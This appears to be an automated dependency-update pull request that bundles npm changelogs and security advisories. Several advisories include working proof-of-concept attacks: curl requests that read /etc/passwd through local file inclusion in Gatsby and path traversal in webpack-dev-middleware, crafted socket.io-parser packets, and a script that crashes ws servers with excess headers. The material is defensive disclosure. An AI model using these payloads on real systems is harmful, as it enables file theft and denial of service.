Security Advisories 🚨

🚨 Gatsby develop server has Local File Inclusion vulnerability

Impact

The Gatsby framework prior to versions 4.25.7 and 5.9.1 contain a Local File Inclusion vulnerability in the __file-code-frame and __original-stack-frame paths, exposed when running the Gatsby develop server (gatsby develop).

The following steps can be used to reproduce the vulnerability:
# Create a new Gatsby project
$ npm init gatsby
$ cd my-gatsby-site

# Start the Gatsby develop server
$ gatsby develop

# Execute the Local File Inclusion vulnerability in __file-code-frame
$ curl "http://127.0.0.1:8000/__file-code-frame?filePath=/etc/passwd&lineNumber=1"

# Execute the Local File Inclusion vulnerability in __original-stack-frame
$ curl "http://127.0.0.1:8000/__original-stack-frame?moduleId=/etc/hosts&lineNumber=1&skipSourceMap=1"
It should be noted that by default gatsby develop is only accessible via the localhost 127.0.0.1, and one would need to intentionally expose the server to other interfaces to exploit this vulnerability by using server options such as --host 0.0.0.0, -H 0.0.0.0, or the GATSBY_HOST=0.0.0.0 environment variable.

Patches

A patch has been introduced in gatsby@5.9.1 and gatsby@4.25.7 which mitigates the issue.

Workarounds

As stated above, by default gatsby develop is only exposed to the localhost 127.0.0.1. For those using the develop server in the default configuration no risk is posed. If other ranges are required, preventing the develop server from being exposed to untrusted interfaces or IP address ranges would mitigate the risk from this vulnerability.

We encourage projects to upgrade to the latest major release branch for all Gatsby plugins to ensure the latest security updates and bug fixes are received in a timely manner.

Credits

We would like to thank Maxwell Garrett of Assetnote for bringing the __file-code-frame issue to our attention.

This release fixes a regression for cases where the ignore option is used with a string (#403, #404).

The public interface of this package does not support a string as the value for the ignore option since 2018 year (release).

So, in the next major release, we will reintroduce method implementations that do not involve strings in the ignore option.

3.3.0

Full Changelog: 3.2.12...3.3.0

🚀 Improvements

Method aliases

New methods (glob, globSync, globStream) have been added in addition to the current methods (default import, sync, stream), which eliminate the need to rename the method when importing. In addition, an async alias has been added for the default import, which makes it possible to use this packet with ESM.

Method to convert paths to globs

A new method (convertPathToPattern) has been added in this release to convert a path to a pattern. The primary goal is to enable users to avoid processing Windows paths in each location where this package is used by utilities from third-party packages.

See more details in the pull request.

🐛 Bug fixes

In the past, we mishandled patterns that contained slashes when the baseNameMatch option was enabled, which went against the documented behavior. (#312)

Several problems with matching patterns that contain brace expansion have been resolved. The primary issue solved is when the pattern has duplicate slashes after it is expanded (#394), or the micromatch package does not correctly generate a regular expression (#365).

All negative patterns will now have the dot option enabled when matching paths. Previously, the !**/* patterns did not exclude hidden files (start with a dot). (#343)

The issue that led to duplicates in the results when overlapping or duplicate patterns were present among the patterns has been fixed. At the moment, we are only talking about leading dot. Other cases are not included. For example, running with the patterns ['./file.md', 'file.md', '*'] will now only include file.md once in the results. (#190)

📖 Documentation

A clarifying note has been added for the concurrency option, which provides more detailed information about the Thread Pool utilization.

⚙️ Infrastructure

The benchmark in CI is now running on Node.js 20.

The benchmark now uses the public package bencho instead of an in-house implementation. You may want to try this solution for your packages and provide feedback.

↗️ form-data (indirect, 4.0.0 → 4.0.4) · Repo · Changelog

Security Advisories 🚨

🚨 form-data uses unsafe random function in form-data for choosing boundary

Summary

form-data uses Math.random() to select a boundary value for multipart form-encoded data. This can lead to a security issue if an attacker:

can observe other values produced by Math.random in the target application, and

can control one field of a request made using form-data

Because the values of Math.random() are pseudo-random and predictable (see: https://blog.securityevaluators.com/hacking-the-javascript-lottery-80cc437e3b7f), an attacker who can observe a few sequential values can determine the state of the PRNG and predict future values, includes those used to generate form-data's boundary value. The allows the attacker to craft a value that contains a boundary value, allowing them to inject additional parameters into the request.

This is largely the same vulnerability as was recently found in undici by parrot409 -- I'm not affiliated with that researcher but want to give credit where credit is due! My PoC is largely based on their work.

Details

The culprit is this line here:

form-data/lib/form_data.js

Line 347 in 426ba9a

boundary += Math.floor(Math.random() * 10).toString(16);

An attacker who is able to predict the output of Math.random() can predict this boundary value, and craft a payload that contains the boundary value, followed by another, fully attacker-controlled field. This is roughly equivalent to any sort of improper escaping vulnerability, with the caveat that the attacker must find a way to observe other Math.random() values generated by the application to solve for the state of the PRNG. However, Math.random() is used in all sorts of places that might be visible to an attacker (including by form-data itself, if the attacker can arrange for the vulnerable application to make a request to an attacker-controlled server using form-data, such as a user-controlled webhook -- the attacker could observe the boundary values from those requests to observe the Math.random() outputs). A common example would be a x-request-id header added by the server. These sorts of headers are often used for distributed tracing, to correlate errors across the frontend and backend. Math.random() is a fine place to get these sorts of IDs (in fact, opentelemetry uses Math.random for this purpose)

PoC

PoC here: https://github.com/benweissmann/CVE-2025-7783-poc

Instructions are in that repo. It's based on the PoC from https://hackerone.com/reports/2913312 but simplified somewhat; the vulnerable application has a more direct side-channel from which to observe Math.random() values (a separate endpoint that happens to include a randomly-generated request ID).

Impact

For an application to be vulnerable, it must:

Use form-data to send data including user-controlled data to some other system. The attacker must be able to do something malicious by adding extra parameters (that were not intended to be user-controlled) to this request. Depending on the target system's handling of repeated parameters, the attacker might be able to overwrite values in addition to appending values (some multipart form handlers deal with repeats by overwriting values instead of representing them as an array)

Reveal values of Math.random(). It's easiest if the attacker can observe multiple sequential values, but more complex math could recover the PRNG state to some degree of confidence with non-sequential values.

If an application is vulnerable, this allows an attacker to make arbitrary requests to internal systems.

Release Notes

4.0.0

Breaking Changes
Use PromiseLike instead of Promise in TypeScript (#40)

This is only a breaking change for TypeScript users.

In the following code:
function foo(x: PromiseLike`string> | string) {
  if (isPromise(x)) {
    return x;
  } else {
    return Promise.resolve(x);
  }
}
TypeScript would previously have incorrectly inferred foo as returning Promisestring>when in fact it returnsPromiseLikestring>. The latest version fixes this. If you instead had the following code, it should work exactly the same as before:
function foo(x: Promise`string> | string) {
  if (isPromise(x)) {
    return x;
  } else {
    return Promise.resolve(x);
  }
}
This update is to reflect the fact that is-promise does "duck" typing, rather than an instanceof check.

3.0.0

Breaking Changes
Restricted "exports" in package.json (for node 14+) (#30)

The only ways to import this are now:
import isPromise from 'is-promise';
or
const isPromise = require('is-promise');
If you were requiring things like the package.json file within the package, these are not part of the public API, and will no longer be accessible.
is-promise now uses "default" exports in ES Modules environments (#30)

If you were using ES6 style imports via
import * as isPromise from 'is-promise';
you will need to update this to

If you were using CommonJS style require, no change is needed.
This package now comes bundled with TypeScript definitions (#31)

This means you may get new errors that you didn't see before if you are using TypeScript. If you are not using TypeScript, this change will not impact you.

Release Notes

4.1.5

Patches

Add "types" export conditions for Node16 TypeScript module resolution (#57): 06f28e0
Thank you @calebeby~!

Handle undefined process.env with fallback (#54): ec20016
For browser/vite support. Thank you @farnabaz~!

Full Changelog: v4.1.4...v4.1.5

4.1.4

Chores

Replace includes() usage with indexOf to allow support for older browsers (#45): 86a7db8
No behavioral differences. Simply allows kleur to run in old browsers (eg, IE8-11) without requiring a polyfill.
Thank you @Krinkle~!

Update benchmarks to reflect includes -> indexOf update: 19764d4

4.1.3

Patches

Add existence process.stdout check for browser-like polyfills (#42): 01963cc
Bundlers like parcel, webpack, and browserify polyfill process but don't include a stdout implementation.
Thank you @tinchoz49~!

4.1.2

Patches

Ensure NO_COLOR disables colorization if any value is received (#38, #39, #40, #41): ef5d4a8, b329629
Now properly adheres to the NO_COLOR spec.
Thank you @stramel and @chocolateboy~!

Chores

Adds tests to ensure FORCE_COLOR= works as expected (#41): b329629
Much like NO_COLOR, use of FORCE_COLOR= is expected to be truthy.

4.1.1

Patches

(types): Ensure kleur/colors type definitions can be resolved: 06923d0, cc66a6f

4.1.0

Features

Add support for the NO_COLOR standard (#37): d839af7
Thank you @stramel~! 🎉

Chores

Enable GitHub Sponsors button 🙇: 16bc034

4.0.3

Patches

Ensure process is defined before setting process-based values (#36): 303e502
This allows for kleur to be imported into browsers without any bundle-shimming.

NOTE: ANSI code support varies between browsers, but typically colors and background-colors work (never modifiers).

4.0.2

Patches
Disable colorization if inside a TTY context (#33): 5c7353f
Thank you @ai~!
# Before:
$ npx app.js > log.txt
#=> The `log.txt` filled with ANSI codes 

# After:
$ npx app.js > log.txt
#=> The `log.txt` is plain text

# OVERRIDE:
$ FORCE_COLOR=1 npx app.js > log.txt
#=> The `log.txt` filled with ANSI codes; as requested
Chores

Add bash tests for ENV detection: 5c7353f

Update README with TTY explainer and example: 3a6a272, 3b3742a

Update test runner version: 5fd93ba

4.0.1

Patches

Revert to Node 6.x minimum support: 8c01d93
The code works perfectly in that environment, so there's no reason not to.
Truth be told, it was only bumped to 10.x because of the test runner constraint.

(types) fix kleur/colors overloaded definition: f2f33a8
Original print order assumed that every export returned null, which is not true.

4.0.0

Breaking

The minimum Node.js runtime increased from 6.x to 10.x since 10.x is the oldest active LTS version.
If you need to continue supporting Node 6.x, either continue using kleur@3.x or ignore the "engines" constraint of kleur@4.x – its CommonJS files will still execute in a Node 6.x environment.

Features

Added native ESM support with exports map (for Node 12.18.x, Node 14+) (#30): 2da16a9
Thank you @kristoferbaxter~!

Added module package entry (for bundler and PikaCDN) (#31): 2da16a9

Added new kleur/colors entry module: 049c080

These changes allow for import statements with kleur.
It's done in a way such that Node.js environments that natively support import will work. For those that don't and are using webpack/Rollup, the "module" entry is made available so that you can still take advantage of the ESM format.

We took this idea one step further with kleur/colors – which individually exports each color, modifier, and background function. This allows you to import only the methods you need, and the unused pieces of code are detached from your code. In other words, kleur/colors is 100% treeshakeable, which is a big advantage of the ESM format. Node.js (with native ESM support), Rollup, and webpack benefit from this, which means that your programs only include/load the kleur code you use.

If you're not ready to use ESM yet, require statements still work for both modules in all environments.

See the Individual Colors documentation for more info
import kleur from 'kleur';
import * as colors from 'kleur/colors';

console.log(
  kleur.underline().green('kleur natively supports ESM~!')
);

console.log(
  colors.white(colors.italic(`... so does "${ colors.green('kleur/colors') }"~!`))
);

↗️ micromatch (indirect, 4.0.5 → 4.0.8) · Repo · Changelog

Security Advisories 🚨

🚨 Regular Expression Denial of Service (ReDoS) in micromatch

The NPM package micromatch prior to version 4.0.8 is vulnerable to Regular Expression Denial of Service (ReDoS). The vulnerability occurs in micromatch.braces() in index.js because the pattern .* will greedily match anything. By passing a malicious payload, the pattern matching will keep backtracking to the input while it doesn't find the closing bracket. As the input size increases, the consumption time will also increase until it causes the application to hang or slow down. There was a merged fix but further testing shows the issue persisted prior to #266. This issue should be mitigated by using a safe pattern that won't start backtracking the regular expression due to greedy matching.

sourceMap default value depends on the compiler.devtool option

the inline value was removed for the sourceMap option, please use { map: { inline: true, annotation: false } } to achieve this

source maps contain absolute paths in sources

loader output only CSS, so you need to use css-loader/file-loader/raw-loader to inject code inside bundle

exec option was renamed to the execute option

the config option doesn't support Object type anymore, config.path and config.ctx options were removed

argument in the config for Function notation (previously config.ctx) was changed, now it contains { file, mode, webpackLoaderContext }

loader context in the config was renamed from webpack to webpackLoaderContext

Features

message API for emit assets (#443) (e966ab9)

reuse AST from other loaders (#468) (9b75888)

Security Advisories 🚨

🚨 react-dev-utils OS Command Injection in function `getProcessForPort`

react-dev-utils prior to v11.0.4 exposes a function, getProcessForPort, where an input argument is concatenated into a command string to be executed. This function is typically used from react-scripts (in Create React App projects), where the usage is safe. Only when this function is manually invoked with user-provided values (ie: by custom code) is there the potential for command injection. If you're consuming it from react-scripts then this issue does not affect you.

🚨 react-dev-utils on Windows vulnerable to Remote Code Execution

react-dev-utils on Windows is vulnerable to remote code execution.

See http://facebook.github.io/react/blog/2015/10/07/react-v0.14.html.

0.13.0

React Core

Breaking Changes

Deprecated patterns that warned in 0.12 no longer work: most prominently, calling component classes without using JSX or React.createElement and using non-component functions with JSX or createElement

Mutating props after an element is created is deprecated and will cause warnings in development mode; future versions of React will incorporate performance optimizations assuming that props aren't mutated

Static methods (defined in statics) are no longer autobound to the component class

ref resolution order has changed slightly such that a ref to a component is available immediately after its componentDidMount method is called; this change should be observable only if your component calls a parent component's callback within your componentDidMount, which is an anti-pattern and should be avoided regardless

Calls to setState in life-cycle methods are now always batched and therefore asynchronous. Previously the first call on the first mount was synchronous.

setState and forceUpdate on an unmounted component now warns instead of throwing. That avoids a possible race condition with Promises.

Access to most internal properties has been completely removed, including this._pendingState and this._rootNodeID.

New Features

Support for using ES6 classes to build React components; see the v0.13.0 beta 1 notes for details.

Added new top-level API React.findDOMNode(component), which should be used in place of component.getDOMNode(). The base class for ES6-based components will not have getDOMNode. This change will enable some more patterns moving forward.

Added a new top-level API React.cloneElement(el, props) for making copies of React elements – see the v0.13 RC2 notes for more details.

New ref style, allowing a callback to be used in place of a name: <Photo ref={(c) => this._photo = c} /> allows you to reference the component with this._photo (as opposed to ref="photo" which gives this.refs.photo).

this.setState() can now take a function as the first argument for transactional state updates, such as this.setState((state, props) => ({count: state.count + 1})); – this means that you no longer need to use this._pendingState, which is now gone.

Support for iterators and immutable-js sequences as children.

Deprecations

ComponentClass.type is deprecated. Just use ComponentClass (usually as element.type === ComponentClass).

Some methods that are available on createClass-based components are removed or deprecated from ES6 classes (getDOMNode, replaceState, isMounted, setProps, replaceProps).

React with Add-Ons

New Features

React.addons.createFragment was added for adding keys to entire sets of children.

Deprecations

React.addons.classSet is now deprecated. This functionality can be replaced with several freely available modules. classnames is one such module.

Calls to React.addons.cloneWithProps can be migrated to use React.cloneElement instead – make sure to merge style and className manually if desired.

React Tools

Breaking Changes

When transforming ES6 syntax, class methods are no longer enumerable by default, which requires Object.defineProperty; if you support browsers such as IE8, you can pass --target es3 to mirror the old behavior

New Features

--target option is available on the jsx command, allowing users to specify and ECMAScript version to target.

es5 is the default.

es3 restores the previous default behavior. An additional transform is added here to ensure the use of reserved words as properties is safe (eg this.static will become this['static'] for IE8 compatibility).

The transform for the call spread operator has also been enabled.

JSX

Breaking Changes

A change was made to how some JSX was parsed, specifically around the use of > or } when inside an element. Previously it would be treated as a string but now it will be treated as a parse error. The jsx_orphaned_brackets_transformer package on npm can be used to find and fix potential issues in your JSX code.

0.12.0

React Core

Breaking Changes

key and ref moved off props object, now accessible on the element directly

React is now BSD licensed with accompanying Patents grant

Default prop resolution has moved to Element creation time instead of mount time, making them effectively static

React.__internals is removed - it was exposed for DevTools which no longer needs access

Composite Component functions can no longer be called directly - they must be wrapped with React.createFactory first. This is handled for you when using JSX.

New Features

Spread operator ({...}) introduced to deprecate this.transferPropsTo

Added support for more HTML attributes: acceptCharset, classID, manifest

Deprecations

React.renderComponent --> React.render

React.renderComponentToString --> React.renderToString

React.renderComponentToStaticMarkup --> React.renderToStaticMarkup

React.isValidComponent --> React.isValidElement

React.PropTypes.component --> React.PropTypes.element

React.PropTypes.renderable --> React.PropTypes.node

DEPRECATED React.isValidClass

DEPRECATED instance.transferPropsTo

DEPRECATED Returning false from event handlers to preventDefault

DEPRECATED Convenience Constructor usage as function, instead wrap with React.createFactory

DEPRECATED use of key={null} to assign implicit keys

Bug Fixes

Better handling of events and updates in nested results, fixing value restoration in "layered" controlled components

Correctly treat event.getModifierState as case sensitive

Improved normalization of event.charCode

Better error stacks when involving autobound methods

Removed DevTools message when the DevTools are installed

Correctly detect required language features across browsers

Fixed support for some HTML attributes:

list updates correctly now

scrollLeft, scrollTop removed, these should not be specified as props

Improved error messages

React With Addons

New Features

React.addons.batchedUpdates added to API for hooking into update cycle

Breaking Changes

React.addons.update uses assign instead of copyProperties which does hasOwnProperty checks. Properties on prototypes will no longer be updated correctly.

Bug Fixes

Fixed some issues with CSS Transitions

JSX

Breaking Changes

Enforced convention: lower case tag names are always treated as HTML tags, upper case tag names are always treated as composite components

JSX no longer transforms to simple function calls

New Features

@jsx React.DOM no longer required

spread ({...}) operator introduced to allow easier use of props

Bug Fixes

JSXTransformer: Make sourcemaps an option when using APIs directly (eg, for react-rails)

0.11.0

React Core

Breaking Changes

getDefaultProps() is now called once per class and shared across all instances

MyComponent() now returns a descriptor, not an instance

React.isValidComponent and React.PropTypes.component validate descriptors, not component instances

Custom propType validators should return an Error instead of logging directly

New Features

Rendering to null

Keyboard events include normalized e.key and e.getModifierState() properties

New normalized onBeforeInput event

React.Children.count has been added as a helper for counting the number of children

Bug Fixes

Re-renders are batched in more cases

Events: e.view properly normalized

Added Support for more HTML attributes (coords, crossOrigin, download, hrefLang, mediaGroup, muted, scrolling, shape, srcSet, start, useMap)

Improved SVG support

Changing className on a mounted SVG component now works correctly

Added support for elements mask and tspan

Added support for attributes dx, dy, fillOpacity, fontFamily, fontSize, markerEnd, markerMid, markerStart, opacity, patternContentUnits, patternUnits, preserveAspectRatio, strokeDasharray, strokeOpacity

CSS property names with vendor prefixes (Webkit, ms, Moz, O) are now handled properly

Duplicate keys no longer cause a hard error; now a warning is logged (and only one of the children with the same key is shown)

img event listeners are now unbound properly, preventing the error "Two valid but unequal nodes with the same data-reactid"

Added explicit warning when missing polyfills

React With Addons

PureRenderMixin: a mixin which helps optimize "pure" components

Perf: a new set of tools to help with performance analysis

Update: New $apply command to transform values

TransitionGroup bug fixes with null elements, Android

React NPM Module

Now includes the pre-built packages under dist/.

envify is properly listed as a dependency instead of a peer dependency

JSX

Added support for namespaces, eg <Components.Checkbox />

JSXTransformer

Enable the same harmony features available in the command line with <script type="text/jsx;harmony=true">

Scripts are downloaded in parallel for more speed. They are still executed in order (as you would expect with normal script tags)

Fixed a bug preventing sourcemaps from working in Firefox

React Tools Module

Improved readme with usage and API information

Improved ES6 transforms available with --harmony option

Added --source-map-inline option to the jsx executable

New transformWithDetails API which gives access to the raw sourcemap data

0.10.0

React Core

New Features

Added warnings to help migrate towards descriptors

Made it possible to server render without React-related markup (data-reactid, data-react-checksum). This DOM will not be mountable by React. Read the docs for React.renderComponentToStaticMarkup

Added support for more attributes:

srcSet for <img> to specify images at different pixel ratios

textAnchor for SVG

Bug Fixes

Ensure all void elements don’t insert a closing tag into the markup.

Ensure className={false} behaves consistently

Ensure this.refs is defined, even if no refs are specified.

Addons

update function to deal with immutable data. Read the docs

react-tools

Added an option argument to transform function. The only option supported is harmony, which behaves the same as jsx --harmony on the command line. This uses the ES6 transforms from jstransform.

0.9.0

What’s New?

This version includes better support for normalizing event properties across all supported browsers so that you need to worry even less about cross-browser differences. We've also made many improvements to error messages and have refactored the core to never rethrow errors, so stack traces are more accurate and Chrome's purple break-on-error stop sign now works properly.

We've also added to the add-ons build React.addons.TestUtils, a set of new utilities to help you write unit tests for React components. You can now simulate events on your components, and several helpers are provided to help make assertions about the rendered DOM tree.

We've also made several other improvements and a few breaking changes; the full changelog is provided below.

JSX Whitespace

In addition to the changes to React core listed below, we've made a small change to the way JSX interprets whitespace to make things more consistent. With this release, space between two components on the same line will be preserved, while a newline separating a text node from a tag will be eliminated in the output. Consider the code:
<div>
  Monkeys:
  {listOfMonkeys} {submitButton}
</div>
In v0.8 and below, it was transformed to the following:
React.DOM.div(null,
  " Monkeys: ",
  listOfMonkeys, submitButton
)
In v0.9, it will be transformed to this JS instead:
React.DOM.div(null,
  "Monkeys:",
  listOfMonkeys, " ", submitButton
)
We believe this new behavior is more helpful and elimates cases where unwanted whitespace was previously added.

In cases where you want to preserve the space adjacent to a newline, you can write {'Monkeys: '} or Monkeys:{' '} in your JSX source. We've included a script to do an automated codemod of your JSX source tree that preserves the old whitespace behavior by adding and removing spaces appropriately. You can install jsx_whitespace_transformer from npm and run it over your source tree to modify files in place. The transformed JSX files will preserve your code's existing whitespace behavior.

Changelog

React Core

Release Notes

4.2.1

This bugfix release removes the isMinified internal check to fix a compat issue with Expo. That check has added in early 2016, soon after Redux 3.0 was released, at a time when it was still less common to use bundlers with proper production build settings. Today that check is irrelevant, so we've removed it.

↗️ shell-quote (indirect, 1.6.1 → 1.8.3) · Repo · Changelog

Security Advisories 🚨

🚨 Improper Neutralization of Special Elements used in a Command in Shell-quote

The shell-quote package before 1.7.3 for Node.js allows command injection. An attacker can inject unescaped shell metacharacters through a regex designed to support Windows drive letters. If the output of this package is passed to a real shell as a quoted argument to a command with exec(), an attacker can inject arbitrary commands. This is because the Windows drive letter regex character class is [A-z] instead of the correct [A-Za-z]. Several shell metacharacters exist in the space between capital letter Z and lower case letter a, such as the backtick character.

Release Notes

1.7.3 (from changelog)

Fix a security issue where the regex for windows drive letters allowed some shell meta-characters to escape the quoting rules. (CVE-2021-42740)

1.7.2

Fix a regression introduced in 1.6.3. This reverts the Windows path quoting fix. (144e1c2)

`socket.io` version	`socket.io-parser` version	Needs minor update?
`4.5.2...latest`	`~4.2.0` (ref)	`npm audit fix` should be sufficient
`4.1.3...4.5.1`	`~4.1.1` (ref)	Please upgrade to `socket.io@4.6.x`
`3.0.5...4.1.2`	`~4.0.3` (ref)	Please upgrade to `socket.io@4.6.x`
`3.0.0...3.0.4`	`~4.0.1` (ref)	Please upgrade to `socket.io@4.6.x`
`2.3.0...2.5.0`	`~3.4.0` (ref)	`npm audit fix` should be sufficient

🚨 Insufficient validation when decoding a Socket.IO packet

Due to improper type validation in the socket.io-parser library (which is used by the socket.io and socket.io-client packages to encode and decode Socket.IO packets), it is possible to overwrite the _placeholder object which allows an attacker to place references to functions at arbitrary places in the resulting query object.

Example:
const decoder = new Decoder();

decoder.on("decoded", (packet) => {
 console.log(packet.data); // prints [ 'hello', [Function: splice] ]
})

decoder.add('51-["hello",{"_placeholder":true,"num":"splice"}]');
decoder.add(Buffer.from("world"));
This bubbles up in the socket.io package:
io.on("connection", (socket) => {
 socket.on("hello", (val) => {
 // here, "val" could be a function instead of a buffer
 });
});
⚠️ IMPORTANT NOTE ⚠️

You need to make sure that the payload that you received from the client is actually a Buffer object:
io.on("connection", (socket) => {
 socket.on("hello", (val) => {
 if (!Buffer.isBuffer(val)) {
 socket.disconnect();
 return;
 }
 // ...
 });
});
If that's already the case, then you are not impacted by this issue, and there is no way an attacker could make your server crash (or escalate privileges, ...).

Example of values that could be sent by a malicious user:

a number that is out of bounds

Sample packet: 451-["hello",{"_placeholder":true,"num":10}]
io.on("connection", (socket) => {
 socket.on("hello", (val) => {
 // val is `undefined`
 });
});
a value that is not a number, like undefined

Sample packet: 451-["hello",{"_placeholder":true,"num":undefined}]
io.on("connection", (socket) => {
 socket.on("hello", (val) => {
 // val is `undefined`
 });
});
a string that is part of the prototype of Array, like "push"

Sample packet: 451-["hello",{"_placeholder":true,"num":"push"}]
io.on("connection", (socket) => {
 socket.on("hello", (val) => {
 // val is a reference to the "push" function
 });
});
a string that is part of the prototype of Object, like "hasOwnProperty"

Sample packet: 451-["hello",{"_placeholder":true,"num":"hasOwnProperty"}]
io.on("connection", (socket) => {
 socket.on("hello", (val) => {
 // val is a reference to the "hasOwnProperty" function
 });
});
This should be fixed by:

Security Advisories 🚨

🚨 Path traversal in webpack-dev-middleware

Summary

The webpack-dev-middleware middleware does not validate the supplied URL address sufficiently before returning the local file. It is possible to access any file on the developer's machine.

Details

The middleware can either work with the physical filesystem when reading the files or it can use a virtualized in-memory memfs filesystem.
If writeToDisk configuration option is set to true, the physical filesystem is used:

webpack-dev-middleware/src/utils/setupOutputFileSystem.js

Line 21 in 7ed24e0

else if (context.options.writeToDisk !== true) {

The getFilenameFromUrl method is used to parse URL and build the local file path.
The public path prefix is stripped from the URL, and the unsecaped path suffix is appended to the outputPath:

webpack-dev-middleware/src/utils/getFilenameFromUrl.js

Line 82 in 7ed24e0

if (

As the URL is not unescaped and normalized automatically before calling the midlleware, it is possible to use %2e and %2f sequences to perform path traversal attack.

PoC

A blank project can be created containing the following configuration file webpack.config.js:
module.exports = { devServer: { devMiddleware: { writeToDisk: true } } };

When started, it is possible to access any local file, e.g. /etc/passwd:
$ curl localhost:8080/public/..%2f..%2f..%2f..%2f../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
Impact

The developers using webpack-dev-server or webpack-dev-middleware are affected by the issue. When the project is started, an attacker might access any file on the developer's machine and exfiltrate the content (e.g. password, configuration files, private source code, ...).

If the development server is listening on a public IP address (or 0.0.0.0), an attacker on the local network can access the local files without any interaction from the victim (direct connection to the port).

If the server allows access from third-party domains (CORS, Allow-Access-Origin: * ), an attacker can send a malicious link to the victim. When visited, the client side script can connect to the local server and exfiltrate the local files.

Recommendation

The URL should be unescaped and normalized before any further processing.

Security Advisories 🚨

🚨 ws affected by a DoS when handling a request with many HTTP headers

Impact

A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server.

Proof of concept
const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});
Patches

The vulnerability was fixed in ws@8.17.1 (e55e510) and backported to ws@7.5.10 (22c2876), ws@6.2.3 (eeb76d3), and ws@5.2.4 (4abd8f6)

Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.

Set server.maxHeadersCount to 0 so that no limit is applied.
